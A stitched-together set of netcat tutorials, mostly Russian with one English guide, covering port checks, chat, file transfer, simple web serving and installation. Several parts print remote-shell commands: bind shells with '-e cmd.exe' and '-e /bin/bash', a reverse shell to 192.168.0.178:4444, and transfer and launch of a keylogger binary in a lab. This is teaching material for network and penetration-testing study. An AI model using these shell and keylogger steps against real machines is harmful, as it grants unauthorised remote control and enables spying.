Время на прочтение5 мин
Количество просмотров52K
Друзья, всех приветствую!
В этой статье мы поговорим о том, что такое Netcat и с помощью него реализуем Bind и Reverse Shell соответственно.
Netcat
Netcat, впервые выпущенный в 1995 году (!), является одним из «оригинальных» инструментов тестирования на проникновение в сеть. Netcat настолько универсален, что вполне оправдывает авторское название «швейцарский армейский нож» хакера. Самое четкое определение Netcat дают сами разработчики: «простая утилита, которая считывает и записывает данные через сетевые соединения, используя протоколы TCP или UDP».
Подключение к порту TCP/UDP
Как следует из описания, Netcat может работать как в режиме клиента, так и в режиме сервера. Для начала давайте рассмотрим клиентский режим. Мы можем использовать клиентский режим для подключения к любому порту TCP/UDP, что позволяет нам: Проверить, открыт или закрыт порт или подключиться к сетевой службе.
Давайте начнем с использования Netcat (nc), чтобы проверить, открыт ли порт 80 на тестируемой машине (в качестве тестируемой машины мы будем использовать основную машину на которой установлена ВМ !!!).
Мы введем несколько аргументов: опцию -n, чтобы отключить DNS и поиск номеров портов по /etc/services; -v для вывода информации о процессе работы; IP-адрес назначения; и номер порта назначения:
P.S. Чтобы узнать IP-адрес основной машины выполните команду ipconfig в командной строке если у вас основная машина Windows, и ifconfig если у вас Linux или MacOS.
Возвращаемся в Kali:
kali@kali:~$ nc -nv 192.168.0.178 80
TCP-соединение с 192.168.0.178 прошло успешно, поэтому Netcat сообщает, что удаленный порт открыт.
Прослушивание портов TCP/UDP
Прослушивание порта TCP/UDP с помощью Netcat полезно для сетевой отладки клиентских приложений или получения сетевого соединения TCP/UDP. Давайте попробуем реализовать простую службу чата с участием двух машин, используя Netcat как в качестве клиента, так и в качестве сервера. На машине Windows с IP-адресом 192.168.0.178 был настроен Netcat на прослушивания входящих соединений на порту TCP 4444. Мы будем использовать опцию -n для отключения DNS, -l для для создания слушателя, опцию -v и -p для указания номера порта прослушивания:
C:\Program Files\nc111nt> nc -nlvp 4444
P.S. Скачать Netcat для Windows вы можете здесь
Теперь давайте подключимся к этому порту с нашей Linux-машины:
kali@kali:~$ nc -nv 192.168.0.178 4444
И напишем что-нибудь. Например «Hello». Наш текст будет отправлен на машину Windows через TCP-порт 4444:
Мы можем продолжить чат с машины Windows:
Хотя этот пример не очень интересен, но он демонстрирует несколько важных возможностей Netcat. Прежде чем продолжить, постарайтесь ответить на такие важные вопросы как: Какая машина выступала в качестве сервера Netcat? Какая машина выступала в роли клиента Netcat? На какой машине был открыт порт 4444? В чем разница в синтаксисе командной строки между клиентом и сервером?
Передача файлов с помощью Netcat
Netcat также можно использовать для передачи файлов, как текстовых, так и бинарных, с одного компьютера на другой. Чтобы отправить файл с нашей виртуальной машины Kali на систему Windows, мы инициируем настройку, похожую на предыдущий пример с чатом, с некоторыми небольшими отличиями. На машине Windows мы установим слушателя Netcat на порт 4444 и перенаправим вывод в файл под названием incoming.exe:
C:\Program Files\nc111nt> nc -nlvp 4444 > incoming.exe
В системе Kali мы передадим файл klogger.exe на машину Windows через TCP-порт 4444:
kali@kali:~$ nc -nv 192.168.0.178 4444 < /usr/share/windows-resources/binaries/klogger.exe
Обратите внимание, что мы не получили от Netcat никакой обратной связи о ходе загрузки файла. Мы можем просто подождать несколько секунд, а затем проверить, полностью ли загружен файл. Файл был полностью загружен на машину Windows, попытаемся запустить его:
C:\Program Files\nc111nt> incoming.exe -h
Как вы видите передача и запуск файла klogger.exe выполнены успешно! P.S. В одном из уроков я расскажу как сделать так, чтобы антивирус не «детектил» файлы и исполняемые модули. А пока двигаемся дальше…
Удаленное администрирование с помощью Netcat
Одной из самых полезных функций Netcat является возможность перенаправления команд. Версия netcat-traditional (версия Netcat скомпилированная с флагом «-DGAPING_SECURITY_HOLE») включает опцию -e, которая выполняет программу после установления или получения успешного соединения. Эта мощная функция открывала интересные возможности с точки зрения безопасности и поэтому недоступна в большинстве современных систем Linux/BSD. Однако, в связи с тем, что Kali Linux является дистрибутивом для тестирования на проникновение, версия Netcat, включенная в Kali, поддерживает опцию -e. Если эта опция включена, она может перенаправлять входные, выходные данные и сообщения об ошибках исполняемого файла на TCP/UDP порт, а не на консоль по умолчанию. Например, рассмотрим исполняемый файл cmd.exe. Мы можем привязать cmd.exe к локальному порту и перенаправить STDIN, STDOUT и STDERR в сеть. Давайте рассмотрим несколько сценариев:
Сценарий Netcat Bind Shell
В нашем первом сценарии Миша (работающий под управлением Windows) обратился за помощью к Кате (работающей под управлением Linux) и попросил ее подключиться к его компьютеру и отдать некоторые команды удаленно. Миша имеет публичный IP-адрес и напрямую подключен к Интернету. Катя, однако, находится за NAT и имеет внутренний IP-адрес. Мише нужно привязать cmd.exe к порту TCP на его публичном IP-адресе и попросить Катю подключиться к его определенному IP-адресу и порту. Миша запустит Netcat с параметром -e для выполнения cmd.exe:
C:\Program Files\nc111nt> nc -nlvp 4444 -e cmd.exe
Теперь Netcat привязал TCP порт 4444 к cmd.exe и будет перенаправлять любые входные, выходные данные или сообщения об ошибках от cmd.exe в сеть. Другими словами, любой человек, подключающийся к TCP порту 4444 на машине Миши (надеемся, что Катя), будет видеть командную строку Миши. Это действительно «зияющая дыра в безопасности»!
kali@kali:~$ nc -nv 192.168.0.178 4444
Как мы видим, все работает так, как и ожидалось. На следующем изображении показан этот сценарий:
Сценарий Reverse Shell
В нашем втором сценарии Катя нуждается в помощи Миши. В этом сценарии мы можем использовать еще одну полезную функцию Netcat — возможность посылать команды на хост, прослушивающий определенный порт. В этой ситуации, Катя не может (по сценарию) привязать порт 4444 для /bin/bash локально (bind shell) на своем компьютере и ожидать подключения Миши, но она может передать управление своим bash на компьютер Миши. Это называется reverse shell. Чтобы это заработало, Миша сначала настроит Netcat на прослушивание. В нашем примере мы будем использовать порт 4444:
C:\Program Files\nc111nt> nc -nlvp 4444
Теперь Катя может отправить Мише обратный shell (reverse shell) со своей Linux-машины. И снова мы используем опцию -e, чтобы сделать приложение доступным удаленно, которым в данном случае является /bin/bash, оболочка Linux:
kali@kali:~$ nc -nv 192.168.0.178 4444 -e /bin/bash
Как только соединение будет установлено, Netcat Кати перенаправит /bin/bash входные, выходные и данные об ошибках на машину Миши, на порт 4444, и Миша сможет взаимодействовать с этой оболочкой:
На следующем изображении показан сценарий обратного шелла (reverse shell), в котором Миша получает удаленный доступ к командной оболочке на машине Кати, преодолевая корпоративный брандмауэр:
Всем спасибо за внимание!
Подписывайтесь на меня в соц. сетях, буду всем рад!
Netcat (или nc) это классическая сетевая утилита Unix, позволяющая устанавливать TCP и UDP соединения, принимать и передавать данные, проверять открытые порты на удаленном компьютере, тестировать правила файерволов В этой статье мы рассмотрим типовые сценарии использования консольной утилиты netcat.
Утилита доступна как в Linux, так и в Windows.
Установка netcat:
- В CentOS/RHEL:
$ sudo yum install nc
- В Debian/Ubuntu:
$ sudo apt update
$ sudo apt install netcat - В Windows: портированную версию netcat для Windows можно скачать здесь (https://eternallybored.org/misc/netcat/)
Рассмотрим несколько примеров использования netcat.
NetCat: проверка открытых TCP/UDP портов на удаленном компьютере
Проверка TCP 53 порта на удаленном компьютере:
$ nc -zv 192.168.13.10 53
[192.168.13.10] 53 (domain) open
В данном примере TCP порт 53 (DNS) отрыт.
Используемые опции:
–z
указывает, что нужно выполнить сканирование удаленного порта службы, фактически не отправляя данные-v
– включает подробный режим-n
– позволяет пропустить поиск в DNS (сканирование выполнится быстрее)
Можно просканировать несколько портов:
$ nc -nzv 192.168.13.10 445 3389 25
Вы можете просканировать диапазон удаленных портов с помощью nc (без использования nmap):
$ nc -vz 192.168.13.10 1-1023 2>&1 | grep succeeded
В выводе команды будут показаны только открытые порты.
Connection to 192.168.31.10 135 port [tcp/epmap] succeeded! Connection to 192.168.31.10 445 port [tcp/microsoft-ds] succeeded!
Сканирование диапазона портов с помощью nc выполняется заметно медленно, чем при использовании nmap.
Можно проверить UDP порты. Например, чтобы проверить открыт ли UDP порт 139 (NETBIOS Session Service):
$ nc -uv 192.168.13.10 139
В обоих случаях команда вернула, что указанный порт открыт.
Если порт закрыт, netcat вернет:
[192.168.13.12] 25 (smtp) : Connection refused.
Утилита netcat, как и многие другие сетевые утилиты, может некорректно показывать состояние UDP портов (открыт/закрыт). Поэтому сканирования UDP лучше использовать nmap.
Обратите внимание, что netcat возвращает название удаленного сервиса, если используется один из стандартных номеров портов TCP/UDP.
Запуск прослушивателя порта на NetCat
Утилита netcat также позволяет запустить прослушивание определенного порта на вашем компьютере. Чтобы запустить службу на порту TCP 5000, выполните команду:
$ nc -l 5000
В следующем примере мы создадим простой чат между двумя компьютерам. Все что вы наберете на клиенте и отправите с помощью Enter появится в консоли другого компьютера:
- Сервер:
$ nc -lvp 5555
- Клиент:
$ nc 192.168.13.10 5555
В таком режиме все, что приходит на этот порт 5555 сервера, выводится в консоль.
Чтобы закрыть соединение, нажмите Ctrl+C
.
NetCat в режиме прослушивается часто используется для создания reverse shell:
$ nc -e /bin/bash -lp 5555
Подключается к нему:
$ nc 192.168.13.10 5555
Передача файлов с помощью NetCat
Вы можете использовать NetCat для передачи файлов или целых директорий между хостами. Для этого нужно запустить сервер netcat, прослушивающий определенный порт и перенаправить его вывод в файл:
$ nc -l 5555 > target.txt
Затем подключитесь на этот порт с клиента и передайте файл:
$ nc 192.168.13.10 5555 < source.txt
Злоумышленники часто используют прием перенаправки вывода с сервера netcat прямо в shell.
Можно перенаправить вывод файла лога с одного сервера на другой:
$ tail -f /var/log/zabbix/zabbix_agentd.log | nc 192.168.13.10 5555
С помощью nc можно передать по сети образ диска.
- Сервер:
$ nc -lvp 5555 > dd of=/backup/sda.img.gz
- Клиент:
$ dd if=/dev/sda | gzip -c | nc 192.168.13.10 5555
Запуск простого веб сервера на NetCat
Вы можете использовать NetCat в качестве простого веб сервера. Достаточно передать ему на вход веб-страницу:
$ while true; do nc -lp 80 < /var/www/html/index.html; done
Теперь, если подключится к вашему хосту через браузер на 80 порт, перед вами появится дефолтная веб страница Apache.
Можно использовать netcat для тестирования производительности канала (в качестве простой замены iperf):
- Прослушиватель:
$ nc -v -l 2222 > /dev/null
- Сендер:
$ dd if=/dev/zero bs=200K count=10 | pv -b | nc -v 192.168.13.10 2222
Современным версией утилиты NetCat является ncat, которая доступна по-умолчанию во многих дистрибутивах Linux.
Netcat is a simple but handy UNIX utility that reads and writes data across network connections, using either TCP or UDP. The purpose of this tutorial is to help you learn the netcat
command line utility and use it productively.
Before You Begin
Some of the commands in this guide will require the use of two terminal windows running netcat
, one acting as a server and the other as the client. These can be separate machines, or you can connect to the same localhost
.
If you are running a Linux Distribution, consider using Terminator
or tmux
This guide is written for a non-root user. Depending on your configuration, some commands might require the help of sudo
in order to get property executed.
Port numbers 0-1024 are restricted and can only be used with root privileges, which means that you should use the sudo
command for creating TCP/IP servers that use port numbers 0-1024. This rule does not apply to TCP/IP clients that use port numbers 0-1024.
Introduction
As netcat
is not installed by default, you will most likely need to install netcat
on your Linux machine using your favorite package manager.
The netcat
binary usually has an alias named nc
, which is what will be used in this guide because it is shorter. Usually both commands point to the same binary file.
If you execute apt-cache search netcat
on a Debian machine, you will see the following output:
apt-cache search netcat
netcat - TCP/IP swiss army knife -- transitional package
netcat-traditional - TCP/IP swiss army knife
netcat-openbsd - TCP/IP swiss army knife
Notice that netcat
is a dummy package and its purpose is to ease upgrades. The differences between the other two packages are not big, but you will need to visit their package descriptions and their man pages in order to get a detailed description of their capabilities.
The OpenBSD version of netcat
supports IPv6, proxies and UNIX sockets, which are not supported by the netcat-traditional
variant. On the other hand, netcat-traditional
includes support for the -e
option that allows you to execute a program from a remote shell, which is not offered by netcat-openbsd
. However, if you do not need any of these features, you will not notice any real difference between these two versions of netcat
.
Command Line Options
netcat
commands have the netcat [options] host port
generic form. The nc
binary supports the following command line options:
Option | Usage |
---|---|
-u |
The -u option tells nc to work in UDPmode. If -u is not present, nc will be usingTCP. |
-l |
The -l option tells nc to listen forincoming connections, which makes it a server process. |
-h |
The -h option displays a help screen. |
-e filename |
The -e option tells nc to execute the afile named with the filename parameter after a clientconnection. |
-c string |
The -c option tells nc to pass thecontents of string to /bin/sh -c for executionafter a client connection. |
-i seconds |
The -i option defines the delay interval used bync when sending lines or scanning ports. |
-q seconds |
The -q option tells nc to wait thespecified number of seconds before quitting after getting an EOF in standard input. If the value is negative, nc will waitforever. |
-v |
The -v option tells nc to produce verboseoutput. |
-vv |
The -vv option tells nc to produce evenmore verbose output than the -v option. |
-z |
The -z option tells nc to use zero-I/Omode, which is used when performing port scanning. |
-r |
The -r option tells nc to use random localand remote ports, which might be good for testing. |
-o file |
The -o option tells nc to save the hexdump of network traffic to file , which might be handy fordebugging. |
-n |
The -n option tells nc to use IP addresses(numeric) only. |
-p port |
The -p option tells nc which port numberto use. |
-b |
The -b option tells nc to allow UDPbroadcasts. |
-C |
The -C option tells nc to send CRLF asline-ending. |
-T type |
The -T option allows nc to set the type ofthe TOS (Type Of Service) flag. |
-g gateway |
The -g option allows you to specify the route that thepackets will take through the network. You can learn more about Source Routing here. |
-G number |
The value of the -G option allows you to specify thevalue of the source routing pointer. You can learn more about the Source Routing pointer here. |
-s address |
The -s option allows you to specify the local sourceaddress that will be used in the nc command. |
-t |
The -t option is used for enabling telnetnegotiation. |
The remainder of this guide will demonstrate the most important of these commands. That being said, netcat
is a versatile tool, and there’s a large opportunity for experimenting on your own.
Using netcat as a Client
The most common use of netcat
is to act as a client for a server process. This is mostly used for troubleshooting network servers and network connections because you can see the raw data of the interaction. So, providing nc
with just a hostname or IP address and a port number will make netcat
act as the telnet
utility:
nc localhost 22
SSH-2.0-OpenSSH_7.9p1 Debian-10
In the given example, nc
tries to connect to TCP port number 22 of the localhost
— notice that TCP port number 22 is used by SSH, which is what triggers the provided output.
Also notice that as the -u
option is not used, nc
will use the TCP protocol by default.
Using netcat as a Server
nc
will accept connections at a given port and act as a server when you execute it with the -l
option:
nc -l -p 1234
In another terminal window, connect a client to the server with nc
:
nc 127.0.01 1234
You can now send messages between the two machines with nc
.
This is a client!
Hello from the server!
The previous command tells netcat
to listen on TCP port number 1234 for incoming connections — you can also see that netcat
automatically reads data from the client and that you can send your response to the TCP client just by typing it.
Once again, as the -u
option is not used, nc
will use the TCP protocol.
Getting Verbose Output
There are times where you cannot connect to the remote machine or the answer you get is not the expected one. In such cases, it is good to use either -v
or -vv
in order to get more information from the nc
connection.
nc -v localhost 1234
localhost [127.0.0.1] 1234 (?) : Connection refused
The output you get shows that the reason you cannot connect to localhost
using TCP port number 1234 is that your connection was refused by the server. Executing nc localhost 1234
will return no output, which offers no help.
Using -vv
instead of -v
will generate the following kind of output:
nc -vv localhost 1234
localhost [127.0.0.1] 1234 (?) : Connection refused
sent 0, rcvd 0
If the TCP connection was successful, you would have gotten the following kind of output on the client side:
nc -vv localhost 1234
localhost [127.0.0.1] 1234 (?) open
Both -v
and -vv
are very valuable when things do not work as expected.
Using the UDP Protocol
In order to use the UDP protocol instead of the TCP protocol, you should include the -u
option in your nc
commands. Therefore, the following command will use the UDP protocol:
nc –vv –u 8.8.8.8 53
dns.google [8.8.8.8] 53 (domain) open
As we are trying to connect to a (public) DNS server, we will have to use port number 53
.
Examples
In this section you will find a number of use cases and examples for nc
.
Using netcat for Port Scanning
Netcat can be used for port scanning as a naïve version of nmap with the -z
option. The command that follows scans the localhost
, which has an IP address of 127.0.0.1
, using a range of port numbers from 1 to 30 (1-30
):
netcat -z -vv -n 127.0.0.1 1-30
(UNKNOWN) [127.0.0.1] 30 (?) : Connection refused
(UNKNOWN) [127.0.0.1] 29 (?) : Connection refused
(UNKNOWN) [127.0.0.1] 28 (?) : Connection refused
(UNKNOWN) [127.0.0.1] 27 (?) : Connection refused
(UNKNOWN) [127.0.0.1] 26 (?) : Connection refused
(UNKNOWN) [127.0.0.1] 25 (smtp) open
(UNKNOWN) [127.0.0.1] 24 (?) : Connection refused
(UNKNOWN) [127.0.0.1] 23 (telnet) : Connection refused
(UNKNOWN) [127.0.0.1] 22 (ssh) open
(UNKNOWN) [127.0.0.1] 21 (ftp) : Connection refused
(UNKNOWN) [127.0.0.1] 20 (ftp-data) : Connection refused
(UNKNOWN) [127.0.0.1] 19 (chargen) : Connection refused
Notice that as we are using the -n
option, the server should be specified by its IP address. Additionally, if you omit the -vv
option, you will get a much shorter output, which is verified by the following output:
nc -z -v -n 127.0.0.1 1-30
(UNKNOWN) [127.0.0.1] 25 (smtp) open
(UNKNOWN) [127.0.0.1] 22 (ssh) open
Therefore, the use of -v
makes nc
to display open TCP ports only.
If you do not use -v
or -vv
, the previous command will return no output:
nc -z -n 127.0.0.1 1-30
Using netcat for Transferring Files
One of the features of netcat
is that it is capable of transferring files:
cat access.log | nc -vv -l -p 4567
listening on [any] 4567 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 53952
When a client connects to TCP port number 4567
, nc
will send the contents of the access.log
file to it. The correct way to execute a nc
client in order to get that file is the following. Open a new terminal window and enter this command:
nc -vv localhost 4567 > fileToGet
localhost [127.0.0.1] 4567 (?) open
sent 0, rcvd 362148
^C
You will need to press Control+C
for the TCP connection to close.
Using netcat for Making any Process a Server
Netcat allows you to make any process a server process with the help of the –e
parameter:
nc -vv -l -p 12345 -e /bin/bash
listening on [any] 12345 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 46930
bash: line 2: asd: command not found
Here you tell nc
to accept incoming TCP connections on TCP port number 12345
. When a connection is accepted, nc
will execute /bin/bash
, which means that it will give you shell access on the machine. After a client successfully connects, every input line will be executed as a shell command using /bin/bash
. If the command cannot be found, the client will get no output and an error message will be generated on the server side. Otherwise, the output of the command will be sent to the client. To test this functionality, in another terminal window create a nc
client and type in the following command:
nc localhost 12345
This capability of netcat can introduce security threats on your Linux machine when used improperly. It is advised that you exercise caution if using this feature.
Executing a Command After Connecting
If you want to execute a given command each time a client connects to a server that is implemented using nc
, then you should use the -c
option followed by that command. The example that follows executes ls -l
and sends the output to the client:
nc -vv -c "ls -l" -l 127.0.0.1 -p 1234
listening on [any] 1234 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 33788
Try executing nc 127.0.0.1 1234
on another terminal on your local machine to get the output of ls -l
.
This capability of netcat can introduce security threats on your Linux machine when used improperly. It is advised that you exercise caution if using this feature.`
Using netcat as a Simple Web Server
Let us say that you want to serve a simple HTML page, which in this case will be called index.html
, from your Linux machine but you have no real web server available. You can use netcat
to serve that simple HTML page on clients from your local machine as follows:
nc -vv -l 127.0.0.1 -p 4567 < index.html
Using wget
to get that page will generate the following output in the nc
part:
listening on [any] 4567 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 53980
GET / HTTP/1.1
User-Agent: Wget/1.18 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: localhost:4567
Connection: Keep-Alive
Additionally, when using wget
, we will receive the following output, which reflects the contents of the index.html
page:
wget -qO- http://localhost:4567/
<html>
<head>
<title>Page Under Construction</title>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8">
<style type="text/css">
body {
background-color:#000;
}
.img {
margin:180px 50px 75px 450px;
}
</style>
</head>
<body&>
<H1>
Demo Page
</H1>
</body>
</html>
Using netcat for Getting Data from Web Servers
The HTTP service is just a TCP service; therefore nc
can be used for getting data from a web server or for testing web servers. The following command will connect to the www.example.com machine using port number 80
, which corresponds to the HTTP protocol:
nc www.example.com 80
You should type the first line (GET / HTTP/1.1
) and press the enter key two times in order to get a response from the web server.
GET / HTTP/1.1
HTTP/1.1 400 Bad Request
Server: nginx
Date: Wed, 10 Jul 2019 20:02:47 GMT
Content-Type: text/html
Content-Length: 166
Connection: close
<html>
<head>
<title>400 Bad Request</title>
</head>
<body bgcolor="white">
<center><h1>400 Bad Request</h1>/center>
</body>
</html>
A better way to execute this command is the following:
echo -en "GET / HTTP/1.0\n\n\n" | netcat www.example.com 80
HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Wed, 10 Jul 2019 20:04:10 GMT
Content-Type: text/html
Content-Length: 178
Connection: close
Location: https:///
<html>
<head><title>301 Moved Permanently</title></head>
<body bgcolor="white">
<center><h1>301 Moved Permanentl</h1<;/center>
<hr><center>nginx</center>
</body>
</html>
This used to be a very popular way of testing web servers when every web server was using the HTTP protocol. Nowadays, the use of HTTPS makes difficult to test a web server using tools such as netcat
and telnet
because the web traffic is encrypted.
Using netcat for Creating a Chat Server
Creating a basic chat server with nc
for two machines to communicate with each other is completed in two commands. One of the machines will function as the server and the other machine will be the client. On the server you will need to execute the following:
nc -vv -l 127.0.0.1 -p 1234
listening on [any] 1234 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 60608
Hello!
And on the client:
nc -vv 127.0.0.1 1234
Hello!
If both people that want to talk are on the same Linux machine, then using 127.0.0.1
is safer and quicker. Otherwise, you should use the IP address of the server in both commands.
Transferring Entire Directories Using netcat
This section will explain how to transfer entire directories using netcat
. Imagine that you wish to transfer the var
directory that resides under your home directory. You can do that as follows:
tar -cvf - ~/var | nc -vv -l 127.0.0.1 -p 1234
listening on [any] 1234 ...
tar: Removing leading `/' from member names
/home/username/var/
/home/username/var/slide.tar.ORG
This creates a TCP server that listens on TCP port number 1234 on the host with the 127.0.0.1
IP address. Generally speaking, using 127.0.0.1
as the server IP address is more secure than using one of the real IP addresses of your Linux machine provided that both the server and the client are on the same Linux machine.
After that you will need to execute the following command on the client side:
cd /tmp
nc 127.0.0.1 1234 | tar -xvf -
home/username/var/
home/username/var/slide.tar.ORG
home/username/var/after.tshark
home/username/var/test.pcap
home/username/var/sys09725827.php
home/username/var/test.php
home/username/var/u5EJqp.php
home/username/var/http.pcap
home/username/var/sketch.zip
When the client connects, the nc
server will also print the following output:
listening on [any] 1234 ...
tar: Removing leading `/' from member names
/home/username/var/
/home/username/var/slide.tar.ORG
connect to [127.0.0.1] from localhost [127.0.0.1] 60632
/home/username/var/after.tshark
/home/username/var/test.pcap
/home/username/var/sys09725827.php
/home/username/var/test.php
/home/username/var/u5EJqp.php
/home/username/var/http.pcap
/home/username/var/sketch.zip
sent 3645440, rcvd 0
^C
You will need to press Control+C
for the TCP connection to close.
Testing the Network Speed Using netcat
This section will explain how to test the connection speed between two machines using nc
. You will need two hosts. On the server machine use the following command:
time nc -vv -n -l -p 2222 >/dev/null
listening on [any] 2222 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 42286
sent 0, rcvd 2090934272
real 0m21.438s
user 0m0.230s
sys 0m1.190s
On the client machine, you should execute the following command and press Control+C
after the desired amount of time to end the connection:
time yes | nc.traditional -vv -n 127.0.0.1 2222 >/dev/null
(UNKNOWN) [127.0.0.1] 2222 (?) open
^C sent 2090926080, rcvd 0
real 0m5.482s
user 0m0.456s
sys 0m3.109s
Now that you know it took 5.482s to transfer 2090926080 bytes, you can calculate the network speed. As the nc
server starts first, you should use the numbers found in the nc
client.
Что такое Netcat
Ncat — популярный инструмент для диагностики сети. С некоторых пор он стал частью более крупного пакета утилит под названием Nmap, доступного для всех основных операционных систем. В данной статье будет рассмотрена установка на примере Windows и Linux.
Установка netcat в Windows
Чтобы установить nmap (и ncat как часть nmap), выполните следующие действия:
- Войдите на свой сервер с правами администратора;
- Загрузите файл-установщик и запустите его. Примите лицензионное соглашение;
- Отметьте «галочкой» инструмент Ncat. Вы также можете запланировать установку и других утилит, если они вам нужны. Затем выберите место установки, нажмите «Установить» и немного подождите;
- Запустите терминал cmd и проверьте версию ncat;
ncat -v
Пример работы утилиты
Чтобы убедиться, что ncat действительно работает, откройте два окна терминала.
- В первом окне запустите:
ncat -l <любой_порт>
Во втором окне одновременно запустите:
ncat -C localhost <выбранный_порт>
- Теперь можно сымитировать работу чата между двумя окнами:
Установка nmap в ОС Linux
Процесс установки в Linux (например, Ubuntu 20.04) очень прост, достаточно выполнить следующую инструкцию:
- Авторизуйтесь как привилегированный пользователь и дайте команду на установку пакета из публично доступного репозитория;
apt-get update; apt install -y netcat
Для проверки работы можно воспользоваться примером, описанным в варианте установки для Windows — откройте два окна терминала и выполните следующие команды:
Вывод
В этой статье я объяснил, как установить утилиту netcat в Windows 2022 Server и Ubuntu 20.04 LTS.
Аverage rating : 5
Оценок: 1
050000
г. Алматы
пр. Сейфуллина, д. 502
+7 (777) 555-36-66
ООО «ИТГЛОБАЛКОМ ЛАБС»
050000
г. Алматы
пр. Сейфуллина, д. 502
+7 (777) 555-36-66
ООО «ИТГЛОБАЛКОМ ЛАБС»
Netcat (nc) — это простая, но мощная утилита, которая позволяет проверять сетевые соединения, сканировать порты и передавать данные через TCP/UDP.
Как установить netcat (nc) на Linux
Ubuntu / Debian
Чтобы установить netcat, выполните команду:
sudo apt update && sudo apt install netcat
CentOS / RHEL / Fedora
Для этих дистрибутивов netcat доступен в пакете nmap-ncat
:
sudo yum install nmap-ncat
Arch / Manjaro
В этих системах netcat можно установить с помощью pacman:
sudo pacman -S netcat
Как установить netcat (nc) на macOS
На macOS утилита nc
уже установлена по умолчанию. Если необходимо переустановить:
brew install netcat
Как установить netcat (nc) на Windows
На Windows netcat по умолчанию отсутствует. Вместо него можно использовать ncat
(аналог от Nmap):
- Загрузите Nmap с официального сайта: https://nmap.org/download.html
- Установите Nmap, включая
Ncat
- Используйте команду
ncat
вместоnc
:ncat -zv example.com 443
Как проверить установку
После установки выполните команду:
nc -h
Если nc
установлен, появится справка с доступными параметрами.